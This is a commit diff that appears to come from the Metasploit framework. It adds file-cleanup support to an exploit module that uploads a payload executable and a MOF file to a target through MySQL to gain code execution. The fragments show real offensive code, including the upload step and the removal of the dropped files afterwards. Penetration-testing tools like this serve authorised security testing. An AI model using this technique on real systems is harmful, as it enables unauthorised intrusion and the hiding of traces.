Added support for FileDropper

unstable
jvazquez-r7 2012-12-06 12:03:17 +01:00
parent 18f4df0a38
commit 6d3d4c1d84
1 changed files with 3 additions and 0 deletions

View File

@ -13,6 +13,7 @@ class Metasploit3 < Msf::Exploit::Remote
include Msf::Exploit::Remote::MYSQL
include Msf::Exploit::WbemExec
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper
def initialize(info = {})
super(update_info(info,
@ -122,6 +123,7 @@ class Metasploit3 < Msf::Exploit::Remote
print_status("#{peer} - Uploading to '#{dest}'")
begin
upload_file(exe, dest)
register_file_for_cleanup("#{exe_name}")
rescue RbMysql::AccessDeniedError
print_error("#{peer} - No permission to write. I blame kc :-)")
return
@ -133,6 +135,7 @@ class Metasploit3 < Msf::Exploit::Remote
print_status("#{peer} - Uploading to '#{dest}'")
begin
upload_file(mof, dest)
register_file_for_cleanup("wbem\\mof\\good\\#{mof_name}")
rescue RbMysql::AccessDeniedError
print_error("#{peer} - No permission to write. Bail!")
return